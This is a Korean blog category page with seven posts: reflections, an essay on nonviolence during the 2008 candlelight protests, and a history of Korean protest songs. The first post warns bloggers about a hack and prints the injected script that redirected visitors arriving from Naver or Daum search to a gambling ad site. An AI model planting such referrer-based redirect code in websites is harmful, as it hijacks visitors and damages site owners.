'사용안함/短想'에 해당되는 글 7건

  1. 2013.10.31 블로그 관리 조심하세요! 유입경로 확인하시길 바람!!
  2. 2009.04.04 오늘 하루를 정리하며...
  3. 2008.06.27 비폭력, 불복종 운동의 필요성
  4. 2008.03.09 민중가요의 의미와 역사
  5. 2008.03.02 카일리룰
  6. 2008.03.02 제 22차 세계철학대회 자원활동단 발대식에 참석하고서...
  7. 2008.03.02 숭례문 화재에 대하여...

블로그 관리 조심하세요! 유입경로 확인하시길 바람!!

사용안함/短想 2013. 10. 31. 09:58

오늘 블로그로 사람들이 찾아오는 유입경로를 확인하다가 이상한 점을 발견!!


다음이나 네이버에서 검색되어 들어오는 경로를 확인하던 중, 내 링크를 클릭하면 이상한 광고 창이 뜨는 것이다.


가령 다음에서 '교육과정설명회파워포인트'라고 검색하면 내 블로그가 맨 처음에 뜨는데,


그 링크를 클릭하면 사행성 게임 광고창으로 링크가 이어지는 것이다. 뭐지.... 벙쩌있었다.


왜일까?


1. 내컴이 이상한 것일까? 그럴리가... 회사에서 쓰는 내컴은 10년 가까이 된 구형 맥프로라 바이러스도 안걸리는데...


2. 네이버나 다음의 검색 경로가 이상있나? 그렇다면 다른 링크도 모두 이상있어야 하는데, 이상이 없다.


3. 누가 내 블로그에 장난질을 했나? 사실 이전에 블로그 해킹 당한 적이 있다.


그래서 내 블로그의 스킨 html 편집으로 들어가 봤더니 아래와 같은 스크립트가 들어가 있더라.



<script language="javascript" type="text/javascript">
var url = document.referrer;
if (url.indexOf("naver")>0){
         window.location.href="http://dg5050.net";   
          
           }
else {
   
}
</script>
<script language="javascript" type="text/javascript">
var url = document.referrer;
if (url.indexOf("daum")>0){
         window.location.href="http://dg5050.net";   
          
           }
else {
   
}
</script> 


위 내용 지워버리니 정상적으로 작동하더라.


쌍놈의 자식들... 고소해버릴까...


블로그 하시는 분들 조심하시길 바랍니다.


:

오늘 하루를 정리하며...

사용안함/短想 2009. 4. 4. 00:14
인생을 의미있게 사는 것이란 무엇일까.

돈을 많이 버는 것.....

만약 내가 돈을 많이 벌어, 남들이 말하는 삶의 질이란 것이 향상된다해도 내가 거기서 행복을 얻지 못한다면...

그래도 내 생활의 패턴이 바뀌지 않는다면,

단순히 내 겉모습과 좋은 집, 좋은 차, 그런 좋은 것들로만

꾸며진다면 의미있게 사는 것이고, 잘 사는 것일까...

최고가 되는 것

악착같이 최고가 된다면...

다른 모든 이들을 짓밟고 그 최고라는 자리에 내가 서있다면

그걸로 행복할 수 있을까.. 나는 그 최고라는 자리에서 내려오지 않기위해 또 얼마나 악을 쓰며 지키고 버텨야 할까

생각만해도 끔찍하다.

그렇지만 이 사회는 이러한 것들을 잘사는 것의 표본으로 삼고 있다.

행복... 잘 사는 것... 기준이 무엇일까

실질로 돈에 욕심이 없다.
그렇지만 없으면 살기가 너무 힘들다. 최고가 되지 못하면 다른 사람들은 인정해주지 않는다.

늘상 드는 생각이지만, 그러면 난 앞으로 또 어떻게 살아야 하는 것일까

나는 내가 무엇을 하고 싶은지를 안다. 하지만 그 길은 돈을 벌 수 있는 길도, 또 최고가 되기 위한 길이 아니다.

그렇지만 또 그러한 것들이 없다면 내가 그 길을 가야만하는 이유는 무엇일까.

단순히 하고 싶기 때문에?

나이가 이렇게 쳐먹었어도 나는 아직 내가 어떻게 살아야 되는지

또 뭘하고 살면 좋은 삶을 살 수 있을까가 고민이고,

내 부모에게, 내 주변 사람들에게, 저 정도면 잘 살았네...

라는 말을 들을까 고민이다.

그래서 가끔씩 혼자이면 좋겠다는 생각이 든다.

아무도 나를 신경써주지 않으면 참 좋겠다라고도 생각해본다.

그렇지만 그건 너무 외롭다.

인생이란게 이렇다. 이도 저도 아니다.

확실해보이지만 아무것도 확실한 것은 없다. 뒤돌아보면 후회투성이들.... ㄷㄷㄷ

정답이 없다. 인생은......

돈을 많이 벌고 싶은 욕심은 없다. 최고가 되고 싶은 마음도 이미 오래전에 버렸다. 그렇다면 무엇을 바래야 할까..? 고민이다.

그나저나 이래나 저래나 일단 연애부터 해야겠다. ㅋ
:

비폭력, 불복종 운동의 필요성

사용안함/短想 2008. 6. 27. 13:48
요즘있는 촛불집회의 시위현장에서의 무력행사와 경찰들의 무자비한 시위진압 모습에 너무도 놀라움을

금치 못하고 있으며, 항상 볼때마다 마음을 조린다. 시작부터 비폭력을 주장했던 촛불집회... 어째서 이러한

가슴 아픈 일이 발생한 것일까... 물론, 국민의 의견을 무시하고, 국가의 마음대로 집행을 해대는 이명박 정부가

가장 큰 문제일 것이다. 그 다음은 촛불집회의 비폭력 정신을 잊어버리고, 무력을 행사하게된 우리 국민들, 또

그에 맞대응하는 국가 권력... 이제는 누가 잘못했다고 꼬집어서 말할 수 없는 상황까지 되어버린 것 같다. 그래도

변함없이 나쁜 것은 이명박일테지만...

다음 사진들은 어제 밤부터 시작해서 오늘 새벽까지 있었던 시위들을 모아논 사진이다.
 

광화문에서 시위대를 향해 물대포를 쏘아되는 장면, 시위로 인해 6.25사진전 작품들이 훼손된 장면

  
경찰이 던진 벽돌에 맞아 피를 흘리는 시위대     새총까지 들고 경찰을 조준하는 시위대

  
시위자를 연행하는 경찰                                     쇳파이를 든 시위자와 방패를 든 경찰의 대치

  
시위대를 강제연행하는 경찰                               버스를 끌어내는 시위대

  경찰을 폭행하는 시위대

   서울코리아나호텔에 난입하여 호텔직원을 폭행!


무서운 사태가 벌어지고 있다. 시위대는 지금 너무 극단으로 가고 있는 듯하다. 물론 정부가 하는 짓은 너무도 참을 수 없는 일이지만 그 중간에 끼인 사람들이 불쌍하다. 폭력은 또 다른 폭력을 부를 뿐이다. 광화문이나 시위가 한참 진행중인 곳에서는 상가에서 생계를 이어가는 사람들이 장사도 못하고 있다고 한다. 어제는 시위대가 조선일보나 동아일보 사옥으로 가서 한바탕하고 왔다는 소식을 접했다. 그 과정 속에서 호텔직원은 폭행을 당했다.
 
이러한 사태는 국민들 스스로가 불러온 또 하나의 잘못이다. 스스로 비폭력을 주장했으면 걸맞는 행동과 의식을 보여줘야 한다. 한쪽에 맞서서 같은 폭력을 행사한다면, 또 다른 폭력을 불러오기 마련이다. 그것은 계속 반복되고 결국에는 돌이킬 수 없는 결과를 가져온다.

여기서 우리가 돌아봐야 할 것은 우리가 하는 시위의 본질을 깨닫고, 비폭력을 주장하고 있다면 자신들 또한 비폭력으로 대항해야 한다고 생각한다.

인도가 영국의 식민지가 된 후 끊임없이 독립을 주창한 간디는 비폭력 운동이야말로 진정한 혁명을 불러일으킬 수 있으며, 그 안 수반되어야 하는 것이 자기 고통이라고 하였다. "사람들에게 그들의 잘못에 대한 의식을 깨우치고, 훈련된 평화적 저항을 위한 능력을 배양하고, 공동의 고통에 익숙하게 하는 모든 것이 우리를 스와라즈(자치, 독립)에 가까이 가도록 한다."고 간디는 주장하였다. "상대방과 당사자가 모두 명예롭게 문제를 해결하는 것"이 가장 중요하다. 설득이 될때까지 진리를 주장해야 하며, 그것은 비폭력적인 방법으로만 가능하다고 하였다.

1924년 비콤사원로 사티아그라하 운동을 소개하겠다. 이 운동은 16개월 이상 지속되었으며, 그 목적은 천민에 대한 사원 입구 통로 사용의 금지를 철폐하는 것이었다. 천민들이 그들의 주거지로 갈 때 그 길로 못가면 멀리 돌아서 가야만 했기 때문이며, 힌두교의 오점인 천민제도의 점진적인 폐지를 위해서였다. 이것을 위해서 금지된 도로를 따라 천민과 카스트 힌두교도들이 행진하였으며, 브라만들에 의해 공격을 받거나 매를 맞게 될 때 보복하는 것을 금지했다. 또한 체포에 순순히 응하며, 그 도로를 두 차례 행진했고 또 그 운동에 참석한 지도자들이 체포되었다. 그러면 제 2의 지도자들이 나와서 운동을 지도했고 그들은 또 체포되었다. 경찰의 바리케이트가 쳐지고, 도로 위에서 경찰과 반대방향에 자리를 잡고 매일 같이 대치하였다. 비가 오면 그 비를 맞으며 서있는데, 어떤 날에는 어깨까지 물이 차는 일도 있다고 했다. 첫 번째 협상에서 간디가 참석하였고, 바리케이트를 제거하도록 부탁했다. 그러면 더이상 그 도로를 행진하는 일은 없을 것이라고 하였다. 경찰은 바리케이트를 치웠고, 운동에 참석한 사람들은 더 이상 행진을 하지 않고, 그 자리를 고수하였다. 그러자 브라만들은 그들의 행동에 당혹해했다. 당연히 운동에 참석한 자들이 행진을 계속할 것이라고 믿었기 때문이다. 1925년 가을 브라만들은 항복하고 기꺼이 천민을 받아들이겠다고 선언하였다. 도르는 모든 통행자에게 개방되었고, 비콤사원뿐만 아니라 다른 지역의 브라만들도 사원로를 개방하였다. 이로 인해 천민들의 지위가 향상되었다.

비콤사원로 운동 뿐만 아니라 바르돌리 농민운동, 아메다바드 노동 운동, 로울래트 법안에 대항한 운동, 소금 운동 등이 있다. 이처럼 간디의 비폭력 운동은 자기 고통을 전제하고 있다. (여기서 이론적으로 더 파고들지는 않겠다. 그러기 위해서는 지금보다 더 많은 설명이 요구되기 때문이다.) 그리고 그 정신은 운동에 참가하는 많은 사람들에게 충분히 교육되고 선서되어진다. 간디는 폭력을 통한 혁명은 또 다른 폭력을 부른다는 것을 자명하게 알고 있었다.

우리도 이점을 깨닫고 본받아야 할 듯하다. 진정한 비폭력 운동을 위해서라면, 폭력의 행사를 멈추고 멈춰서서 자기고통을 인내하며, 국가를 설득해야 할 것이다. 촛불시위는 누구 한명이 지는 게임이 아니다. 우리나라 사람들 모두가 잘 살고자 하는 것이다. 거기에는 패자도 승자도 있을 수 없다. 우리 모두가 잘되기 위한 것인데, 그렇게 둘로 나누면 어떡할 것인가. 함께 사는 길을 걸어야 하며, 간디의 비폭력 운동은 우리에게 좋은 본보기가 될 것이라 생각된다.


:

민중가요의 의미와 역사

사용안함/短想 2008. 3. 9. 23:57
출처 Legends Of The Fall | 신디
원본 http://blog.naver.com/tristan_/110007593164


70년대 후반 민중가요의 성립


(1) 민중가요문화성립의 배경: 낭만적 학생운동기의 종말과 새로운 출발

  1975년, 박정희  유신정권에 의해 초헌법적인  긴급조치시대가 시작되면서, 그 이전까지의 낭만적  학생운동기는 막을 내리고. 새로운 학생운동의 풍토가 만들어지게 되었다.
  운동권과 비운동권이  분리되었으며, 운동권이라는 말이  등장하게 되었다. 따라서 운동권의 학생들은 일반 학생들과는 다른 인식, 다른 생활, 다른 문화를 가짐으로써 자신의 모든 것을 반성하하고 바꾸고자 노력했으며, 그것은 대학 4년동안 일생을 거는 결단을 해야 하는 그들에게 있어서는 반드시 필요한 것이었다. 그리하여,  운동권 학생들은 대중가요의 향유를 거부하고, 대중가요가 가지는 체제순응성에 대한 비판적 인식을 가지게 되었으며, 이전까지의 자신들의 노래문화를  반성하면서 새로운 노래문화를 원하게 되었고, 이는 70년대  후반, 민중가요문화를 성립시키게 되는 배경이 되었다.

  (2)민중가요의 시작

   민중가요는 처음에는 학생운동권의  노래문화로 시작되었다. 대중가요에 대한 비판  내지는 극복의 전망을 가지고,  대중가요와는 구별되는 별도의 향유층과 별도의 존재방식을 가진  독자적인 노래문화가 이 시기부터 성립되기 시작한 것이다.
   그러나, 이 시기의 민중가요문화는 자생적인 노래문화였으며,이러한 민중가요를 주도하는  집단, 즉 노래운동집단은  존재하지 않았다. 김민기는 노래에 관한 한, 한  개인이었을 따름이었고, 노래운동집단의 산실인 서울대 '메아리'와 이대 '한소리'는  아직 포크풍 대중가요성향을 띈 취미써클 차원의 모임이었다.  따라서, 이들 민중가요문화는 완전히 새로운 노래가 아니라, 기존에 있는 노래를 대중 스스로 선택하여  그 노래에 새로운 사회적 의미를 부여하고 구전하는 방식으로 형성되었다.

  (3)데모노래와 복음성가류

   운동권의 노래로서 가장 먼저  선택된 것은 60년대 이래 불려왔던 소위 데모노래와  기타 몇몇의  노래들이었다. <해방가>,  <정의가>,  <탄아 탄아>,< 바람이 분다>, <스텐카라친>,  <러시아농민가>등에 75년 이후 <훌라송>, <정의가> 등이 운동권 노래로 덧붙여졌다.
   한편, 학생운동에 대한 탄압으로 교회운동이 발달하면서 교회가 사회운동에서 가지는 비중이 높아지게 되었고, 이러한 진보적 교회운동의 발달을 통하여 기존의 복음성가나 외국의  반전운동, 인권운동과 관련한 노래들이 새로운 의미를 부여받고 그것이 다시 학생운동권으로 유입되게 되었다. 당시 이런 과정을 통하여 학생운동권에 유입된 노래로는 <우리 승리하리라>, <오, 자유>, <흔들리지 않게>, <우리의 믿음 치솟아>, <보람된 생활>, <이 세계 절반은 나>, <가라 모세>, <춤의  왕>, <미칠 것 같은 이 세상>, <혼자 소리로는> 등을 꼽을 수  있다. 아래에서 열거한 대개의 노래들은 얽매임과 해방, 구원의 의미들을 사회적으로 재해석 하고 있으며, 하나님의 뜻이 어그러지는 어두운 세상으로부터  자유롭고 평화로운 새 세계로의 지향과 의지를 담고 있다.

  (4)김민기에 대한 재해석과 그의 변화

   70년대 후반으로 들어서면서 비로소 김민기의 노래는 운동권 학생들에게 대중가요가 아닌, 그 이상의 것으로 받아들여지게 되었다. 방송금지조치로 인하여 대중가요로서는 더 이상 들을 수 없었던 김민기의 노래들을 운동권 학생들은 이제 민중가요로서 부르기 시작했고, 김민기의 노래들 중 사회성이 강한 노래들, 미래로의  지향과 적극성을 강하게 가지고 있는 노래들이 더욱 부각되었으며,  또 노래에 구체적인 사회적  의미가 부여되고 재해석 되었다.(예를 들어, <친구>나 <아침이슬>등은 학생운동을  하는 사람들의 고난과 결단 등으로 재해석  되었다). 따라서, 자연히 당시의 김민기 노래가 가지고 있던 특유의 장점들은  바로 그것이 곧 민중가요의 중요한 자산이 될 근거가 되었다.

  김민기는 70년대  후반에 군을 제대하고  야학을 체험하면서유신말기에 들어 작품의 경향이  변화하게 된다. 우선, 작품의  수가 급격히 줄어들었고, 지식인적 자의식이 강하게 표출되는 작품을 거의 생산하지 않는 대신, 민중이라고 부를 수 있는 소외된 계층, 노동자.농민에 대한 구체적인 관심이 높아지고 그 발전된 형상을 만들어 내었다. 또한, 미래에 대한 밝은 지향을 담은 노래가 늘어나고,  국악풍의 실험도 늘어났다. 이런 노래들로는 <식구생각>, <소금땀 흘리흘리>,  <상록수>, <천리길>, <밤뱃놀이>, <늙은 군인의 노래>등이 있다.

  여기서 꼭 짚고 넘어가야 할 김민기의 작품이 있다면, 그것은 바로 김민기의 민중지향성의 최고수준이라고 일컬을 수 있는 노래무용극 <공장의 불빛>(78년)이다. 동일방직 사건에서 힌트를  얻어 만든 이 작품은 민족극운동의 맥락에서  만들어졌으나 민중가요에서도 대단히  파격적인 것이었다.
노래무용극 <공장의 불빛>은 거의  모든 대사를 노래로 처리하는 록뮤지컬 같은 작품으로서,  노동자의 삶과 투쟁이  구체적으로 드러나있으며, 이에 따른 가사와 악곡의 사용도 파격적이고 다양한 것이 특징이다.

  (5)김영동과 다른 노래들

   60년대 그 맹아적 모습을  보이기 시작해서 70년대에 본격적으로 성립하게 된  민족극운동은, 공연예술분야에서는 최초의  예술운동 움직임이었을 뿐만 아니라, 그 성격에 있어서도 연극이라는 장르의 종합예술적 성격, 악가무(樂歌舞)가 결합된 전통예술을 적극적으로 이어받고 있다는특성 등으로 인해 비단 연극뿐  아니라, 춤과 음악까지를 결합한 종합적인 연행예술 운동적 성격을 띠고 있었으며, 따라서 노래분야에서도 적잖은 작품적 성과를 남겼다. 이종구의 <마라데스>(<소리굿 아구> 삽입음악), <빈산>(김지하 시),김구한의 <서울길>  (김지하 시), 김영동의 <누나의 얼굴>(윤동주 시), <개구리 소리>(이오덕 시) 등을 그 성과로 이야기 할 수 있다.

 그 밖에 국내 음악인들의 사회성 있는 내용의 노래들이 민중가요로 흡수되고 (<진달래>(이영도 작시, 한태근  작곡), <녹두꽃>(김지하 작시, 조념 작곡), <빼앗긴 들에도 봄은  오는가>(이상화 작시, 변규백 작곡) 등), 한대수, 양병집, 이연실 등의  사랑노래가 아닌 포그송들 (<행복의 나라로>,<서울하늘>, <타박네>,  <한중가>등)과, 그외에 출처를 알  수 없는 <기러기>, 동요인<우리의  소원은 통일>, 60년대  대중가요인 <아다다>, 민요인 <아리랑>, <진주난봉가>  등까지도 이 시기 민중가요의  목록에 올라 있었다.  


민중가요의 성립과 전개과정(3)
-<꽃다지를 사랑하는 사람들> 7월호

80년대 중반 민중가요의 변화와 기타의 노래들

(1) 84년과 85년이라는 시기


 '시의 시대'에서  '소설의 시대'로 단조 행진곡을 중심으로 단조 스탠다드풍의 서정가요가  보족적 위치를 차지한 80년대 초 민중가요의 변화를 보이는 이  시기는 비단 민중가요뿐 아니라, 민족극, 민족문학 등 진보적 예술운동  진영의 여러 장르에서 동시적으로 작품  경향의 변화를 보였던 시기라는 점에서  주목을 요한다.


 

84년은 이른바 유화국면, 자율화국면이 시작된 해이다.  80년 패배의 충격으로부터 학생운동을  비롯한 민민운동진영이 일정한 세력의  회복을 하게 된다.  각 이념써클의 조직적 회복으로 운동권의 수가  증가하며, 시위의  회수와 강도도 높아진다거나, 학도호국단에  학생운동의  침투한다거나 대학축제를  대동놀이등 연행예술운동의  성과로 채운다거나 하는 일이  늘어났고, 이에 따라 5공화국 정군의  일보후퇴가 이루어졌다. 제적생의  복교와 총학생회의 부활, 대학 내의  대중집회 허용, 상주 기고낭원의 철수등이 이루어지고,  이른 바 재야단체라고 불리는 민민운동단체들이 발족하게 된다.


83년 가을, 민주화운동청년연합  발족(의장 김근태), 84년 4월  민중문화운동협의회 발족을 시발로, 84년  한국노동자복지협의회, 자유실천문인협의회,  민족미술협의회, 민주언론운동협의회,  한국출판운동협의회, 민주교육운동협의회  등등 수많은 단체들이 만들어졌다.  85년 3월 이러한 민민운동단체들의 협의체적  연합인 민주통일민중운동연합이 발족되었다. 84년이야말로  80년대 초반의패배를 딛고  상승하는 분위기의 최절정이었다고 할 수 있다.
단조행진곡, 마당극, 시  등 80년대 초반의 민족예술이 성과가  최절정에 도달한 것도  역시 84년 이었다. 80년대 초반  84년까지의 예술작품들은 격정적이며 주장이 단순하고 뚜렷하였다.  주장이 뚜렷하다는 것은 타도  대상이 분명하며, 이에 대한 타도 의지가  강하고, 이 이외에는 다른  생각을 하지 않았다는  것을 의미한다. 다른  생각을 할 여유가 없었으며,  할 필요도 없었고 이를 타도해야 한다는  것은 의심할 여지가 없는 당위의 시절 이었다.

84년 무렵까지의 민중가요  역시 이런배경으로 인하여 감정의  선이 굵고 뚜렷하며  의미 단위가 짧고  단순했던 것이 주요한  특징이다. 예를 들어, <전진가>같은 경우 음악적으로 2마디가  기본이며, 8마디에서 모든 노래가  끝난다. 가사도 '가자', '나가자',  '단결하세'식으로 단순한 의미가 기본을 이루는 노래도 많았다. 그러나, 85년  하반기부터 운동의  발전속도가 둔화하게 된다.  85년 하반기부터 정부측의 탄압이 강화되고, 다시 제적생,  구속자가 늘어나게 되었다. 이에 따라, 운동의 발전속도가 눈에 띠게 둔화하게 되었고, 84년까지  이루어낸 한 단계의  발전을 딛고 새로운  단계로의 85년 하반기부터는  이러한 새로운  단계의 방향을 모색하는  일종의 과도기적인 모습을 보이기 시작했다.

예술운동에서도 여태까지와는  전혀 다른  태도와 정서를 갖게  되었다. 가자, 나가자 식의 단순한 주장이 더 이상  호소력을  갖지 못하게 되었고, 열정을  가라 앉히고 객관적 사실을 있는 그대로  보고자 하는 태도가 싹 텄으며, 이를 바탕으로 한 보다  복잡하고 다기한 논리를 요구하게 되었다.  대학에서 앞으로의 운동방향을 둘러싸고  비합법문건들을 통한 격렬한  논리투쟁, 사상투쟁이 벌어지는 것도  이때였다.
진달래, 오월, 붉은  꽃잎 등의 시어들만으로도 무엇을 이야기  하고자 하는지  알 수 있었고 감동스러웠던  시(時)의 시대가 가고  소설(小設), 특히 장편소설이 유행하기 시작하였다. 또한,  선 굵은 집단적 정서를 바탕으로  하고 있었던 마당극에 대한 비판이  이루어지기 시작한다.

(2)민중가요의 작품경향 변화

1. 행진곡 중심에서 서정가요 중심으로


대중의 정서가 변화함으로 인해, 단순하고 선 굵은  정서의 행진곡보다는 보다 개인적이고  복잡하고 많은 생각을 하게 하는  서정가요를  더 요구하게 되었다.  물론, 행진곡은 계속 만들어졌으나 그  전만큼 인기를 주도하지는 못하였다.
< 이 산하에>는 빠르게 인기를 얻지는  못했지만, 85년에 들어서면서 서서히 큰 인기를  얻어갔고, 이 뒤를 이어 <부활하는  산하>(이성지 작사.작곡), <의연한 산하>(작자 미상), <노래2>(김남주  시, 김경주 작곡) 등 서정가요 계열의 긴 노래들이 인기를  얻기 시작했다. 이러한 서정가요의 인기는  대학 노래팀들이 84,85년간 집중적으로  만들어 졌다는 데에 그 한 원인이 있다고도 할 수  있다. 공연을 통한 서정가요의 집중적인 보급이 이루어진 것이다.

2. 행진곡의 길이가 길어짐

80년대 중반의  행진곡은 노랫말이  길어지고, 논리가 복잡해  지는 시기였다. 대표적으로는 <전진하는  오월>, <민족해방가 1>을 들  수 있다.

3. 장조 서정가요의 시작


80년대 중반 민중가요작품의 중요한 변화중의 하나로  꼽을 수 있는 것은 장조 서정가요의  등장이라고 할 수 있다. 장조 서정가요는  단조행진곡과 단조  서정가요에서 드러나는  격정적 감정을  자제하고, 보다 절제되고이성적이려는 태도를 가지고 있었다.
<그날이 오면>(85년, 문승현 작사.작곡)이 86년에  들어서면서 널리 불려짐으로써 장조 서정가요들은 차츰 대중들의 인기를  얻기 시작한다. <그날이 오면>은 80년대 장조 서정가요의  시발을 이루는 작품이라고 할 수  있는데, 그 작품적 특징을 살펴보면, 우선  긴 의미단위를 갖고 있으면서,  낭만적 격정을 내면에 감춘 절제된 감정을  운용하고 있고,  고전적인 차분한 화성과  선율을 전개하고 있어서  매우 부르기가 어렵다는 점을 들수 있다.
단조 서정가요가 60년대 단조 스탠다드의 전통을  이어받고 있다면, 이들 장조  서정가요는 찬송가와 가곡,  포크의 영향을 강하고  받고 있다. 그리고,  올겐 반주나  혼성합창의 편곡이 이루어지는  경우가 많았다.
   문승현은 그의 또  하나의 역작 <이 산하에>로 민중가요의  중심으로 진입하는 데에  성공했고, 이 노래로 부터 민중가요의 경향을  미리 짚고 선도하는 데에 이르게 되었다. <이 산하에>의  뒤를 이어 추모곡이면서도 장조의 노래인 <벗이여 해방이 돈다>(86년,  이성지 작사.작곡/김세진, 이재호  열사 추모곡)가 발표되어 대중들에게  많이 불리워지면서 장조 서정가요의 경향을 확정짓게 되었다.

4. 개사곡의 급격한 퇴조


학생운동의 상승이 뚜렷했던  83년 부터 대학에서 개사곡의 붐이  일었다. 그  이전의 노동자들의  개사곡(노래가사 바꿔부르기)이  주로 노동자들이 부를 민중가요의  부재로 인해 수요와 공급이 맞지  않음으로서 생겨난 것이거나,  노동자 교육용 프로그램(즉, 자기  생각을 표현하기, 주체적으로  사고하기 등을 위한)으로 만들어진  것이라면 대학생들의 개사곡은  주로 반전의  재미를 중심으로 하는  풍자적인 개사곡이 주류를 이루고  있다. 대표적인 개사곡으로는 < * 大는  짭새땅>(원곡:독도는 우리땅),<아, 대한민국>등이 있다.
즉, 기존에 익숙하게  알고 있는 노래를 가져와서 가사의 몇  부분을 바꿈으로써, 기존의 노래가 가지고 있는 의미와 새로운  의미 사이의 부조화로 인한 충돌과 긴장을 만들어내는 일종의  노래장난으로서 개사곡이 83년 부터  대학가에서 붐을 일으켰던 것이다. 이런 류의  개사곡들은 비록 민중가요의  주도적인 노래는 아닐지라도, 일반  민중가요서는채워주지 못하는  희극성, 풍자의 재미를 만끽하는  노래로서 독자적인 존재가치를 가지고 있었다.

(3) 기층민중의 삶을 다룬 작품과 노동자가 부르는 민중가요

1. 70년대 이래 연민주의적 시선


지식인이 만들어낸 노동자나 농민의 삶의 모습은 가난하고 슬프며  무력하다.
<서울로 가는 길 >, <공장의  불빛>(김민기), <황혼>, <까치길>(안혜경), <하얀 비행기>(김제섭), <약수 뜨러  가는 길>(정종수), 한돌의 <소>, <갈수없는 고향>,  <땅>등. 이 노래들은 지식인들에게  여태까지 한번도 적극적인  관심의 대상이 되지 못했던 기층 민중,  소외된 사람들의 삶에 대한 애정어린 관심의 시작이였고, 이러한  연민은 못사는사람들에 대한 지식인의 양심의 발로였다.
그들의 삶의 어려움을 설명하려고 들면서도 직설적인  설명을 피하려고 형상화한 흔적이  역력했고, 또 이미 그들의 삶을 설명하려고  한다는 것은 그들  노동자나 농민 등 기층민중의 삶을 모르고  있는 사람들이 부를 것을  전제로 하여 창작을 하는 것이며, 그런  의미에서도 이들 노래는  대부분은 그 양식이 포크가 주를 이루었으며,  이들 노래는 포크적 질감과  태도를 가짐으로써 이러한 현상은 더욱  심화되었다.

2. 극복, 탈피의 노력


그러나, 80년대 초반  이후, 실제의 노동자들과 접하게 되면서  실제의 노동자의 모습이  지식인들이 책에서 읽고 머리속에서 그려온  민중들의 모습과는 다르다는  것을 느끼게 되었고, 따라서  기층민중에 대한 연민주의적 시선을  탈피하고자 노력하였다, 이러한 노력의  한 결과로 우선 그 양식에서 민요풍의 노래가 등장을  하는데 이는 민요풍의 노래가,  민요가 지니고  잇는 민중성과 역동성(직설성에서  오는)을 빌어온다는 점에서 자연히 이전의 포크풍의 노래와는 다른 질감을  갖을 수  있었다. (<작업장  타령>(안혜경, 85년경).  <서울길 2>(김지하 시, 오용록  작곡, 82년) 등) 그러나, 아직 이들  노래 역시 여전히 설명적 이었다.

85년 이후, 노동자의 삶의 구체적인 모습을  확보하려는 노력들이 기울여지기 시작한다. 이러한 노력들의 대개는  노동자들과의 직접적인 접촉을 통해 이루어졌는데,  이러한 과정을 통해 만들어진  노래들로는 <귀례  이야기>(이성지 작사.작곡), <깜박잠>, <우리  이야기>(김보송 작사.작곡), <밥,  자유, 평등, 평화>(김보성 작사,  김용수 작곡), <대결>(박노해 시, 김보성 작곡)과 노래로  하는 라이프 스토리라 할 수 있는 <살아온이야기>(노동자 공동창작,  김용수 정리) 등을
들 수 있다.


이들 노래들은 70년대와  80년대 초반의 노래에 비해 구체성이  확보되었고, 투쟁적인 노래가 한 두곡씩 나오기 시작한다는  점에서 의의를 가지고 있긴 하지만, 역시 노동자의 일상을  힘들면서도 역동적이고 힘차며, 비참함의 표현에 있어서도 직설적이면서 질기디  질긴 생명력의 느낌을 가지지  못하고, <깜박잠>처럼 어리고 곱고  연약하며 무력하게 표현하고 있다. 여전히 양식은 포크에 묶여  있고, 그 포크의 연약함과 비생활성의  영향을 받고 있음을 발견할 수 있다.  따라서, 이들 노래의 몇몇 곡들은 노동교회를 통해  노동자들에게로 보급되기도 하였지만, 노동자들  보다는 역시 대학으로 더 많이 퍼져  나갔다. 본격적인 노동가요가 만들어지기는 아직은  어려운 여건이었다고 할 수 있다. 반면, 실제 노동자들이  좋아한 노래는 <사노라면>과 <불나비> 등과 같이 대중가요 중에서도 보다  더 대중적인(그런 의미에서 통속적이라고  할 수 있는) 양식을  차용한 노래들 이었다.  특히, <불나비>는 70년대  말, 80년대 초의 대학가요제풍의  속화된 록을 그 양식으로 차용하고 있다는 점을 주목해 볼  필요가 있다. 노동자들이 실제로 좋아하며  즐겨 불렀던 노래들은 그 가사가  설명적이지 않으면서도 노동자의 감수성에 잘 맞았고, 일상적  낙관성과 역동성이 잘  살아, 힘들지만  힘차게 살아가는  모습이 드러나고  있다.
(투쟁이 일상화될 수 없었던 80년대의 중반이므로  어차피 일상의 표현이 중요했음) 또한,  표현은 직설적이며 외향적이다. 이러한  일상적이면서도 직설적이며  외향적인 것은  이전의 포크를 중심으로  한 작품이나, 단조 스탠다드의 비일상적으로 비장한  서정가요 작품으로는 감당할 수 없었다.


민중가요의 성립과 전개과정(4)

       -80년대 말, 90년대 초의 노동가요-
                   <꽃다지를 사랑하는 사람들> 8월호

(1)87년 항쟁과 80년대 말 민중가요의 급성장

87년 6월  시민항쟁과 7.8.9월 노동자 대투쟁으로  5공화국은 종말을 맞이하고, 87,88년부터 시작하여 90, 91년 경에  마무리되는  이 시기에 민중가요는 두 개의 대중화를 실현한다. 그 하나는 대학생, 지식인을  중심으로 하던 민중가요가 노동자대중을 비롯한 기층민중으로까지 확산된 것이고, 또 다른  하나는 조직된 대중을 중심으로 하던 민중가요가 대중문화 공간의 미조직 중간계층으로까지 확산된 것이다.
또한, 음악운동 집단이  수적으로  늘어나고 전국적으로 확산되었으며, 성향이 다양화되었다는 점도 이  시기의 성과라 할  수 있고, 이러한 성장을 바탕으로 90년 민족음악협의회의 창립도 가능해졌다.

(2)노동가요의 의의

87년 7.8.9월 노동자  대투쟁을 거치면서 본격적으로 성립하게  된 노동가요의 의의를 크게 두 가지로 살펴 본다면, 먼저 근대 음악사.노래사 이래 최초로, 이전에 지식인을 중심으로 하던 진보적노래문화, 노래운동(음악운동)을 기층민중 중심으로 대중화하는 데에 성공하였다는 점을  들 수 있다. 물론, 이것은 7.8.9월의  노동자 대투쟁과 함께 이루어진, 노동운동, 농민운동 등 기층민중들의 각 계급계층운동이 광범위한 대중운동으로의 발전을  이루게 된 것에 크게 힘 입은 것이다. 또 한가지의 의의는 노동자대중의  경험과 인식, 정서 등을 담은 작품적 성과를 남김으로써 민중가요의 자산을 풍성하게 하였다는 점이다.

(3)87년 7,8,9월 노동자 대투쟁 기간의 노래

87년 이전까지는 노동가요라는  독자적인 노래문화가 만들어질 여건이 이루어지지 않았다. 이는 노동자  대중이 대중적으로 노래를 부를 공간이  없었고, 따라서 작품생산도 제대로 이루어지지 않았기 때문이다. 이런  상황에서 87년 7.8.9월의 노동자 대투쟁은 갑자기 시작되었고, 당연히 그 시기 광범위한 투쟁공간에서 불려질 노동가요가 제대로  없었음은 물론이다. 여태까지 학생.지식인  중심의 민중가요가 주를 이루었고, 노동자들의 이야기를 다룬 작품들도 앞에서 살펴 보았듯이, 소시민적 지식인적 티를 벗기  위한 노력을 하고  있기는 했지만, 아직 이 시기 노동자대중에게  대중화될 만한 작품이 되지는 못했던 것이다.
